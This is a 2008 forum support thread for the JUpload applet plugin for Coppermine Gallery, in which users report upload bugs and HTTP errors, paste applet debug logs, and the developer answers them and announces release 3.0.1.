http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)

Etienne

Ok, somehow I got it to work again, without changing from CPG 1.4.6 and Jupload v3final. What I did is uninstall java 1.6u3 and install java 1.5u13 and indeed resize the pictures to a size below 1 Mo. That wat the uploads always work. Really weird. :)
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: dke on February 10, 2008, 12:53:54 pm
Quote

Hi dke,


1) Are your (installation?) problems corrected ?

Yes they got solved with the RC4 build thanks!!

Quote
2) About gif animation: can you give the URL of one or several pictures that are badly transformed by the applet?

Here you go, i uploaded a gif using jupload http://etiennegauthier.free.fr/coppermine/displayimage.php?pos=-1861 (http://etiennegauthier.free.fr/coppermine/displayimage.php?pos=-1861) <- uploaded with jupload
Then i uploaded the same gif using upload.php (default upload tool for cpg) http://etiennegauthier.free.fr/coppermine/displayimage.php?pos=-1863 (http://etiennegauthier.free.fr/coppermine/displayimage.php?pos=-1863) <-- uploaded with upload.php (default upload tool)

You can see that the animation is gone when uploaded through jupload.

Quote
3) About your asking default height/width.
'Movies' are currently not managed by the applet. A simple way is be to add two fields (width, height) to the upload form (see explanation text just above the applet).
Added to my todo list.

A field wouldn't really fix the issue, since users will not know this anyway, i would like some kind of "hardcoded" solution that all mp3,mid,wav (audio) is always width 0 and height 0, a user will not understand to use these fields anyway.

Thanks!
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on February 10, 2008, 07:34:53 pm
Yes they got solved with the RC4 build thanks!!

Good.
 (I really think it was not related to one JUpload release, but to a problem during installation, but it doesn't really matter)

Here you go, i uploaded a gif using jupload http://etiennegauthier.free.fr/coppermine/displayimage.php?pos=-1861 (http://etiennegauthier.free.fr/coppermine/displayimage.php?pos=-1861) <- uploaded with jupload
Then i uploaded the same gif using upload.php (default upload tool for cpg) http://etiennegauthier.free.fr/coppermine/displayimage.php?pos=-1863 (http://etiennegauthier.free.fr/coppermine/displayimage.php?pos=-1863) <-- uploaded with upload.php (default upload tool)

You can see that the animation is gone when uploaded through jupload.

Understood.

  To remove metadata, I now always recreate the picture. But I guess I was not careful with multipicture file, like animated gif. I'll correct that.

A field wouldn't really fix the issue, since users will not know this anyway, i would like some kind of "hardcoded" solution that all mp3,mid,wav (audio) is always width 0 and height 0, a user will not understand to use these fields anyway.

I guess a field is the way the standard upload works.
Now, I agree with you. But it's not simple. No standard function in Java. I already study that. I'll have to first identify the good llibrary.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: dke on February 15, 2008, 03:29:28 pm
I have to correct my previous post, to have a hardcoded value of width 0 and height 0 on audio would render it useless, the value should be width = taken from cpg setting height 0, just like upload.php does.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: bruno31 on February 22, 2008, 06:37:44 pm
Please can anyone help me, I have installed jupload in my coppermine 1416 version.
It starts upload but then hangs and says http 404 error, how do I solve this?
Help is much appreciated, thanks, Bruno.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on February 22, 2008, 10:09:05 pm
Please can anyone help me, I have installed jupload in my coppermine 1416 version.
It starts upload but then hangs and says http 404 error, how do I solve this?
Help is much appreciated, thanks, Bruno.

?

404 means page doesn't exist on the server... Strange, as the upload target page exists: it's the same URL as the page the contains the upload. You must have something strange on your server, some kind of redirection or URL Rewriting ?

  Can you give me the debug from the applet?

(see the doc, for info on this point)

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: bruno31 on February 23, 2008, 12:25:51 pm
Thanks, for your reply, I was having so many problems wanting to upload many files so Im trying gallery 2 now.
But I dont have any experience in this kind of stuf, so I cant get that to wrok either, o well, Ill see.
Merci, Bruno
Title: JUpload release 3.0.1
Post by: etienne_sf on February 23, 2008, 03:32:39 pm
Hi,

  Here is the announce for the 3.0.1 Release.

The release is available here :
[http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=10604]
or on my web site, with all other releases:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)


Release notes for 3.0.1:


Fix:
  * [Major] Animated gif are now correctly transmitted (not modified at all). Was broken since 3.0.0rc1.


Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: eka on February 26, 2008, 02:01:39 am
Hi eitenne_sf,

Jupload is absolutely wonderful - superquick in uploading a batch of photos.
Thank you so much.

I'm now using Jupload and have taken off the cpg Upload button from the menu.

Just wonder - how do you change "Jupload" in the menu to "Upload" - which file and which line do I amend?

Also, after clicking the Jupload in the menu, the dialogue box that comes up practically stretches across the entire screen. Can the length of this dialogue box be reduced in length to say, half or 3/4 of the screen. Thought it may look better.

Pse help.

Thank you again.



Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on February 26, 2008, 12:34:57 pm
Hi eitenne_sf,

Jupload is absolutely wonderful - superquick in uploading a batch of photos.
Thank you so much.

I'm now using Jupload and have taken off the cpg Upload button from the menu.

Just wonder - how do you change "Jupload" in the menu to "Upload" - which file and which line do I amend?

Also, after clicking the Jupload in the menu, the dialogue box that comes up practically stretches across the entire screen. Can the length of this dialogue box be reduced in length to say, half or 3/4 of the screen. Thought it may look better.

Pse help.

Thank you again.

1) About the title: take a look at the configuration parameters (linkXXX parameters)
2) About the dialog box. A dialog box after clicking JUpload in the menu ?
You mean the file chooser ? the message after upoad ?   If other, which dialog box are you talking about ?

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: eka on February 27, 2008, 02:27:26 am
Thank you etienne_sf for the quick reply.

I talking about the dialogue box that lets you choose the files.

Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on February 27, 2008, 10:28:44 am
Thank you etienne_sf for the quick reply.

I talking about the dialogue box that lets you choose the files.

I don't control its size. In our case, it depends mainly on the number of file extension in the filter.

The other option would be to hide them. But I don't like this either, as the user may not know the current filter. He will then wonder why he doesn't see some files.

Other people already made this comment.  But I guess it will stay the way it is now.

Etienne

Title: save original image size
Post by: socalboy on February 28, 2008, 08:33:37 am
Is there a way to preserve the original file size and dimensions? I would like to keep the originals on the server for both backup and display purposes. If the photo is 5mb, I would like to make sure that the original is 5mb, and then the intermediate photo and thumbs can be compressed. Thanks in advance.

Steven
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Joachim Mller on February 28, 2008, 08:48:23 am
@Etienne: refer to http://forum.coppermine-gallery.net/index.php/topic,50769.0.html
Does JUpload respect the setting in coppermine's config? It should.
Title: Re: save original image size
Post by: etienne_sf on February 28, 2008, 10:25:15 pm
Is there a way to preserve the original file size and dimensions? I would like to keep the originals on the server for both backup and display purposes. If the photo is 5mb, I would like to make sure that the original is 5mb, and then the intermediate photo and thumbs can be compressed. Thanks in advance.

Steven

Hi,

  As asked by Joachim, JUpload respects Coppermine configuration.

See details for :
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: LeAnnSmith on February 28, 2008, 11:37:04 pm
Crash on IE 7.0.573 -Fine on FireFox 2.0.0.12
After seeing the crash in my installation,
I tested the jupload site:  tp://etiennegauthier.free.fr/coppermine/
on my XP system with 2 browsers.
on IE 7.0.573, the java console loaded and then all instances of IE closed! (How rude!)
on FireFox 2.0.0.12, all was fine! I saw the upload page and I was able to test the upload as expected.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on February 29, 2008, 01:42:22 pm
Crash on IE 7.0.573 -Fine on FireFox 2.0.0.12
After seeing the crash in my installation,
I tested the jupload site:  tp://etiennegauthier.free.fr/coppermine/
on my XP system with 2 browsers.
on IE 7.0.573, the java console loaded and then all instances of IE closed! (How rude!)
on FireFox 2.0.0.12, all was fine! I saw the upload page and I was able to test the upload as expected.

Please don't cross-post. Support on JUpload take enough time without it.

  I've responded to your question on sourceforge forum.
http://sourceforge.net/forum/forum.php?thread_id=1954391&forum_id=199107 (http://sourceforge.net/forum/forum.php?thread_id=1954391&forum_id=199107)

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: genti555 on March 08, 2008, 10:55:50 pm
I Have a Problem with jupload.

I have 2 galleries in the same host.
In the first gallery the jupload works fine i have jupload v 2.6.4. In the second one i have the newest jupload 3.01 and the newest copermine cpg1.4.16 and i am using the classic theme, but when i try to upload photos i get this message:
Received HTTP status 503 Service Temporarily Unavaible.
An error occured during upload. Do you want to send all relevant information to the webmaster?
i click yes in this case and get this message
An error occured during log management (sbHttpResponseBody
Could not send debug information


than i get this message:

22:04:13.750 [INFO] Debug level set to 0
22:04:13.781 [INFO] Current debug output file: C:\DOCUME~1\Genti\LOCALS~1\Temp\jupload_44211_log.txt
22:04:13.781 [WARN] Invalid int value: true, using default value: 0
22:05:04.359 [WARN] Invalid int value: , using default value: 0
22:05:04.359 [INFO] JUpload plugin for coppermine version 3.0.1
22:05:43.703 [WARN] Invalid int value: , using default value: 0
22:07:37.437 [INFO] Debug level set to 1
22:07:37.437 [INFO] Current debug output file: C:\DOCUME~1\Genti\LOCALS~1\Temp\jupload_44211_log.txt
22:08:20.484 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] Received HTTP status 503 Service Temporarily Unavailable (Received HTTP status 503 Service Temporarily Unavailable)
22:08:20.484 wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 503 Service Temporarily Unavailable
22:08:20.484    at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:563)
22:08:20.484    at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:739)
22:08:20.484    at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:491)
22:10:03.125 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] Upload failed: unexpected HTTP response (An error occured during log management (sbHttpResponseBody))
22:10:03.125 wjhk.jupload2.exception.JUploadExceptionUploadFailed: Upload failed: unexpected HTTP response
22:10:03.125    at wjhk.jupload2.policies.DefaultUploadPolicy.sendDebugInformation(DefaultUploadPolicy.java:1095)
22:10:03.125    at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:547)
22:10:23.984 [ERROR] [wjhk.jupload2.exception.JUploadIOException] Trying to get the byte array of a on non-closed ByteArrayEncoded (Could not send debug information)
22:10:24.000 wjhk.jupload2.exception.JUploadIOException: Trying to get the byte array of a on non-closed ByteArrayEncoded
22:10:24.000    at wjhk.jupload2.upload.ByteArrayEncoder.getString(ByteArrayEncoder.java:244)
22:10:24.000    at wjhk.jupload2.policies.DefaultUploadPolicy.sendDebugInformation(DefaultUploadPolicy.java:1127)
22:10:24.000    at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:547)
22:10:24.062 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)


Please anybody can help me. I dont know what i have done wrong.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on March 09, 2008, 01:05:09 pm
I Have a Problem with jupload.

I have 2 galleries in the same host.
In the first gallery the jupload works fine i have jupload v 2.6.4. In the second one i have the newest jupload 3.01 and the newest copermine cpg1.4.16 and i am using the classic theme, but when i try to upload photos i get this message:
Received HTTP status 503 Service Temporarily Unavaible.


From the error message, I guess your server had a temporarily problem. Try again...

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: compuryan on March 09, 2008, 05:12:32 pm
I tried to run the applet but when I click output I get the following result (error 400 Bad Request):

12:06:54.881 [INFO] Debug level set to 0
12:06:54.883 [INFO] Current debug output file: C:\Users\Ryan\AppData\Local\Temp\jupload_33512_log.txt
12:06:54.884 [DEBUG] setLang - language read (no country): us
12:06:54.884 [WARN] Invalid int value: true, using default value: 0
12:06:54.886 [DEBUG] cookie: c7efe7749f903bf5b90297dbbd70d9e0=a87f819c25e373696d454c315903606a; cpg140_data=YTo0OntzOjI6IklEIjtzOjMyOiJhYzk0MDJhZGRmYzhjMmNiZmFlNzExMjJjOGQ4OWZkOSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJlbmdsaXNoIjtzOjM6ImxpdiI7YTowOnt9fQ%3D%3D; PHPSESSID=5dj7pnqqsmelhmoh3u5ldb7qp4
12:06:54.886 [DEBUG] userAgent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12
12:06:54.886 [DEBUG] uploadPolicy parameter = CoppermineUploadPolicy
12:06:54.886 [DEBUG] uploadPolicy = wjhk.jupload2.policies.CoppermineUploadPolicy
12:06:54.887 [DEBUG] ======= Parameters managed by PictureUploadPolicy
12:06:54.887 [DEBUG] fileChooserImagePreview: true
12:06:54.887 [DEBUG] highQualityPreview : false
12:06:54.887 [DEBUG] pictureCompressionQuality : 0.8
12:06:54.887 [DEBUG] pictureTransmitMetadata : true
12:06:54.887 [DEBUG] maxPicWidth : 1024, maxPicHeight : 1024
12:06:54.888 [DEBUG] realMaxPicWidth : 5000, realMaxPicHeight : 5000
12:06:54.888 [DEBUG] storeBufferedImage : false
12:06:54.888 [DEBUG] targetPictureFormat : null
12:06:54.888 [DEBUG]
12:06:54.888 [DEBUG] ======= Parameters managed by CoppermineUploadPolicy
12:06:54.888 [DEBUG] albumId : 0
12:06:54.888 [DEBUG]
12:06:55.053 [DEBUG] Within componentResized
12:06:55.057 [DEBUG] PicturePanel.paint(): offscreenImage is null
12:06:55.057 [DEBUG] PicturePanel.paint(): offscreenImage is null
12:06:55.066 [DEBUG] [CoppermineUploadPolicy] Call off setProperty: albumId =>
12:06:55.066 [WARN] Invalid int value: , using default value: 0
12:06:55.067 [DEBUG] Post URL (modified in CoppermineUploadPolicy) = http://www.johncurrie.ca:8088/photos/index.php?file=jupload/jupload&action=upload_picture&album=0
12:06:55.068 [INFO] JUpload plugin for coppermine version 3.0.1
12:06:55.121 [DEBUG] PicturePanel.paint(): offscreenImage is null
12:06:59.277 [DEBUG] [CoppermineUploadPolicy] Call off setProperty: albumId =>
12:06:59.277 [WARN] Invalid int value: , using default value: 0
12:06:59.278 [DEBUG] Post URL (modified in CoppermineUploadPolicy) = http://www.johncurrie.ca:8088/photos/index.php?file=jupload/jupload&action=upload_picture&album=0
12:07:00.705 [DEBUG] [CoppermineUploadPolicy] Call off setProperty: albumId => 42
12:07:00.705 [DEBUG] Post URL (modified in CoppermineUploadPolicy) = http://www.johncurrie.ca:8088/photos/index.php?file=jupload/jupload&action=upload_picture&album=42
12:07:02.858 [DEBUG] PicturePanel.paint(): offscreenImage is null
12:07:03.703 [DEBUG] Action : Browse ...
12:07:03.727 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\Audio Plot Model (1).pdf
12:07:03.727 [DEBUG] JUploadFileView.execute: creating the executorService
12:07:03.728 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\audio signal flow.tif
12:07:03.728 [DEBUG] In IconWorker.loadIcon(Audio Plot Model (1).pdf)
12:07:03.728 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\business card back.zip
12:07:03.729 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\Century AV Logo 13line draft 2.pdf
12:07:03.729 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\Century AV Logo 13line draft 3 ws.pdf
12:07:03.729 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\Century AV Logo 13line draft 4.pdf
12:07:03.792 [DEBUG] In IconWorker.loadIcon(audio signal flow.tif)
12:07:03.793 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\Century AV Logo 13line first draft PDF.pdf
12:07:03.793 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\Century AV Logo 13line first draft TIFF.tif
12:07:03.793 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\Century Map copy.pdf
12:07:03.794 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\Colour Project 05.doc
12:07:03.795 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\flyer-girls-fieldhockey-07-08.doc
12:07:03.795 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\grades.jpg
12:07:03.796 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\greece1.tiff
12:07:03.796 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\hotel peccadillo-survey.doc
12:07:03.796 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\hotel peccadillo.doc
12:07:03.797 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\london schedule 2008.doc
12:07:03.797 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\oct 7 - oct 13 revised.xls
12:07:03.797 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\OFSAA DAMAGE CLAUSE.doc
12:07:03.798 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\OFSAA_damage_clause.pdf
12:07:03.798 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\Oklahoma!.doc
12:07:03.798 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\PHOTO SCHEDULE-Field Hockey 2007 - 20 Teams.doc
12:07:03.799 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\Ryan-archive07.pdf
12:07:03.799 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\seedingform06.pdf
12:07:03.799 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\SonicOS_Standard_3.8_TZ_180_Series_Administrators_Guide.pdf
12:07:03.800 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\team_photos.pdf
12:07:03.800 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\Vampire_w_original_bat.jpg
12:07:03.800 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Documents\xbox pass code.txt
12:07:03.873 [DEBUG] In IconWorker.loadIcon(business card back.zip)
12:07:03.919 [DEBUG] In IconWorker.loadIcon(Century AV Logo 13line draft 2.pdf)
12:07:03.963 [DEBUG] In IconWorker.loadIcon(Century AV Logo 13line draft 3 ws.pdf)
12:07:04.005 [DEBUG] In IconWorker.loadIcon(Century AV Logo 13line draft 4.pdf)
12:07:04.048 [DEBUG] In IconWorker.loadIcon(Century AV Logo 13line first draft PDF.pdf)
12:07:04.091 [DEBUG] In IconWorker.loadIcon(Century AV Logo 13line first draft TIFF.tif)
12:07:04.136 [DEBUG] In IconWorker.loadIcon(Century Map copy.pdf)
12:07:04.178 [DEBUG] In IconWorker.loadIcon(Colour Project 05.doc)
12:07:04.222 [DEBUG] In IconWorker.loadIcon(flyer-girls-fieldhockey-07-08.doc)
12:07:04.265 [DEBUG] In IconWorker.loadIcon(grades.jpg)
12:07:04.352 [DEBUG] In IconWorker.loadIcon(greece1.tiff)
12:07:04.395 [DEBUG] In IconWorker.loadIcon(hotel peccadillo-survey.doc)
12:07:04.437 [DEBUG] In IconWorker.loadIcon(hotel peccadillo.doc)
12:07:04.481 [DEBUG] In IconWorker.loadIcon(london schedule 2008.doc)
12:07:04.523 [DEBUG] In IconWorker.loadIcon(oct 7 - oct 13 revised.xls)
12:07:04.565 [DEBUG] In IconWorker.loadIcon(OFSAA DAMAGE CLAUSE.doc)
12:07:04.607 [DEBUG] In IconWorker.loadIcon(OFSAA_damage_clause.pdf)
12:07:04.608 [DEBUG] In IconWorker.loadIcon(Oklahoma!.doc)
12:07:04.610 [DEBUG] In IconWorker.loadIcon(PHOTO SCHEDULE-Field Hockey 2007 - 20 Teams.doc)
12:07:04.655 [DEBUG] In IconWorker.loadIcon(Ryan-archive07.pdf)
12:07:04.656 [DEBUG] In IconWorker.loadIcon(seedingform06.pdf)
12:07:04.698 [DEBUG] In IconWorker.loadIcon(SonicOS_Standard_3.8_TZ_180_Series_Administrators_Guide.pdf)
12:07:04.740 [DEBUG] In IconWorker.loadIcon(team_photos.pdf)
12:07:04.785 [DEBUG] In IconWorker.loadIcon(Vampire_w_original_bat.jpg)
12:07:04.789 [DEBUG] In IconWorker.loadIcon(xbox pass code.txt)
12:07:06.180 [DEBUG] [JUploadFileView] Directory changed
12:07:06.180 [DEBUG] Shutting down all IconWorker running jobs
12:07:06.181 [DEBUG] All IconWorker running jobs are now marked as stopped.
12:07:07.516 [DEBUG] [JUploadFileView] Directory changed
12:07:07.517 [DEBUG] Shutting down all IconWorker running jobs
12:07:07.517 [DEBUG] All IconWorker running jobs are now marked as stopped.
12:07:07.531 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Pictures\hollidaynet.jpg
12:07:07.531 [DEBUG] In IconWorker.loadIcon(hollidaynet.jpg)
12:07:07.532 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Pictures\Julianna 016.jpg
12:07:07.532 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Pictures\Julianna 043.jpg
12:07:07.532 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Pictures\Julianna 060.jpg
12:07:07.533 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Pictures\Julianna 067.jpg
12:07:07.533 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Pictures\Julianna 074.jpg
12:07:07.533 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Pictures\n900595270_2247732_9158.jpg
12:07:07.534 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Pictures\n900595270_2259972_2755.jpg
12:07:07.534 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Pictures\n900595270_2259973_3050.jpg
12:07:07.534 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Pictures\n900595270_2271316_3786.jpg
12:07:07.535 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Ryan\Pictures\travelocity - Copy.jpg
12:07:07.632 [DEBUG] In IconWorker.loadIcon(Julianna 016.jpg)
12:07:07.877 [DEBUG] In IconWorker.loadIcon(Julianna 043.jpg)
12:07:08.106 [DEBUG] In IconWorker.loadIcon(Julianna 060.jpg)
12:07:08.316 [DEBUG] In IconWorker.loadIcon(Julianna 067.jpg)
12:07:08.552 [DEBUG] In IconWorker.loadIcon(Julianna 074.jpg)
12:07:08.852 [DEBUG] In IconWorker.loadIcon(n900595270_2247732_9158.jpg)
12:07:08.925 [DEBUG] In IconWorker.loadIcon(n900595270_2259972_2755.jpg)
12:07:08.992 [DEBUG] In IconWorker.loadIcon(n900595270_2259973_3050.jpg)
12:07:09.053 [DEBUG] In IconWorker.loadIcon(n900595270_2271316_3786.jpg)
12:07:09.115 [DEBUG] In IconWorker.loadIcon(travelocity - Copy.jpg)
12:07:10.120 [DEBUG] LoadImageThread.start (start)
12:07:10.191 [DEBUG] JUploadImagePreview.paintComponent, after paintIcon
12:07:10.191 [DEBUG] LoadImageThread.start (end)
12:07:10.290 [DEBUG] Creation of the DefaultFileData for C:\Users\Ryan\Pictures\n900595270_2259972_2755.jpg(root: C:\Users\Ryan\Pictures)
12:07:10.291 [DEBUG] isPicture=true (n900595270_2259972_2755.jpg), extension=jpg
12:07:10.291 [DEBUG] Shutting down all IconWorker running jobs
12:07:10.292 [DEBUG] All IconWorker running jobs are now marked as stopped.
12:07:11.990 [DEBUG] Action : Upload
12:07:11.992 [DEBUG] Upload done by using the wjhk.jupload2.upload.FileUploadThreadHTTP class
12:07:11.992 [DEBUG] Timer started
12:07:11.993 [DEBUG] Resizing factor (scale): 1.695364238410596
12:07:11.993 [DEBUG] n900595270_2259972_2755.jpg : hasToTransformPicture = false
12:07:12.001 [DEBUG] chunkHttpParam: jupart=0&jufinal=1
12:07:12.001 [DEBUG] Cookie: c7efe7749f903bf5b90297dbbd70d9e0=a87f819c25e373696d454c315903606a; cpg140_data=YTo0OntzOjI6IklEIjtzOjMyOiJhYzk0MDJhZGRmYzhjMmNiZmFlNzExMjJjOGQ4OWZkOSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJlbmdsaXNoIjtzOjM6ImxpdiI7YTowOnt9fQ%3D%3D; PHPSESSID=5dj7pnqqsmelhmoh3u5ldb7qp4
12:07:12.002 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12
12:07:12.002 [DEBUG] Using non SSL socket, direct connection
12:07:12.004 [DEBUG] in UploadFileData.uploadFile (amount:47267, getUploadLength(): 47267)
12:07:12.005 [DEBUG] PicturePanel.paint(): offscreenImage is null
12:07:12.039 [DEBUG] -------- Response Headers Start --------
12:07:12.039 [DEBUG] HTTP/1.1 400 Bad Request
12:07:12.039 [DEBUG] Content-Type: text/html
12:07:12.040 [DEBUG] Date: Sun, 09 Mar 2008 16:07:19 GMT
12:07:12.040 [DEBUG] Connection: close
12:07:12.040 [DEBUG] Content-Length: 42
12:07:12.041 [DEBUG]
12:07:12.041 [DEBUG] --------- Response Headers End ---------
12:07:12.041 [DEBUG] HTTP status: 400 Bad Request
12:07:12.041 [INFO] Debug level set to 1
12:07:12.042 [INFO] Current debug output file: C:\Users\Ryan\AppData\Local\Temp\jupload_33512_log.txt
12:07:12.044 [DEBUG] ======= Parameters managed by PictureUploadPolicy
12:07:12.044 [DEBUG] fileChooserImagePreview: true
12:07:12.045 [DEBUG] highQualityPreview : false
12:07:12.045 [DEBUG] pictureCompressionQuality : 0.8
12:07:12.045 [DEBUG] pictureTransmitMetadata : true
12:07:12.045 [DEBUG] maxPicWidth : 1024, maxPicHeight : 1024
12:07:12.045 [DEBUG] realMaxPicWidth : 5000, realMaxPicHeight : 5000
12:07:12.045 [DEBUG] storeBufferedImage : false
12:07:12.045 [DEBUG] targetPictureFormat : null
12:07:12.046 [DEBUG]
12:07:12.046 [DEBUG] ======= Parameters managed by CoppermineUploadPolicy
12:07:12.046 [DEBUG] albumId : 42
12:07:12.046 [DEBUG]
12:07:13.241 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] Received HTTP status 400 Bad Request (Received HTTP status 400 Bad Request)
12:07:13.242 wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 400 Bad Request

12:07:13.242    at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:563)

12:07:13.242    at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:739)

12:07:13.242    at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:491)

12:07:13.242 [DEBUG] FileUploadThread: within run().finally
12:07:13.792 [DEBUG] JUploadPanel: after !fileUploadThread.isAlive()
12:07:13.793 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)
12:07:26.895 [DEBUG] PicturePanel.paint(): offscreenImage is null
12:10:02.431 [DEBUG] PicturePanel.paint(): offscreenImage is null
12:10:07.833 [DEBUG] PicturePanel.paint(): offscreenImage is null

Any idea what could be causing this?

Thanks

Ryan
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on March 09, 2008, 08:12:07 pm
I tried to run the applet but when I click output I get the following result (error 400 Bad Request):

<cut>

Any idea what could be causing this?

Thanks

Ryan

Not really. You apparently cut the debug ouptut: the request sent to the server doesn't appear here, and the global parameters are not there.

From the error message, the problem is in the upload request. Perhaps a bad filename ?  (I've seen an exclamation point somewhere). If it's not that, can you attach here the full debug output ?

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: compuryan on March 09, 2008, 08:59:50 pm
I pasted the entire content of the file specified on this line :

12:07:12.042 [INFO] Current debug output file: C:\Users\Ryan\AppData\Local\Temp\jupload_33512_log.txt

If that is not the correct debug info then would you be able to tell me where to find the correct file?

Thanks,

Ryan
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on March 09, 2008, 10:10:26 pm
I pasted the entire content of the file specified on this line :

12:07:12.042 [INFO] Current debug output file: C:\Users\Ryan\AppData\Local\Temp\jupload_33512_log.txt

If that is not the correct debug info then would you be able to tell me where to find the correct file?

Thanks,

Ryan

Gush! The file content is not complete! I just repeated this problem.

Strange bug.

Can you do this, to give me the full output (like on the given doc):
- Right Click on the applet, while pressing the Control touch: put the debug on.
- Do the erroneous upload
- Copy the full text of the text area.
- Paste it here, or, better, put it in a code area, in this forum (Click on the # button, when entering your text) or attach a text file with this text.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: compuryan on March 09, 2008, 10:32:15 pm
Alright I got everything this time I think.

The output is now too large to post but I'll link it here: http://johncurrie.ca:8088/jupload_40350_log.txt (http://johncurrie.ca:8088/jupload_40350_log.txt)

Thanks for your help.

-Ryan
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on March 10, 2008, 12:53:22 pm
Alright I got everything this time I think.

The output is now too large to post but I'll link it here: http://johncurrie.ca:8088/jupload_40350_log.txt (http://johncurrie.ca:8088/jupload_40350_log.txt)

Thanks for your help.

-Ryan

Ok, from this log, the error is: Bad Request (Invalid Header Name) !!!

Really, really strange. What is your web server (Apache, IIS, other ?), that refuses something that is used by many many other people ?

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: compuryan on March 10, 2008, 02:07:32 pm
It is IIS
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on March 10, 2008, 06:50:02 pm
It is IIS

Which version ?
Do you have a way (in the logs, for instance), to know which header is wrong ?
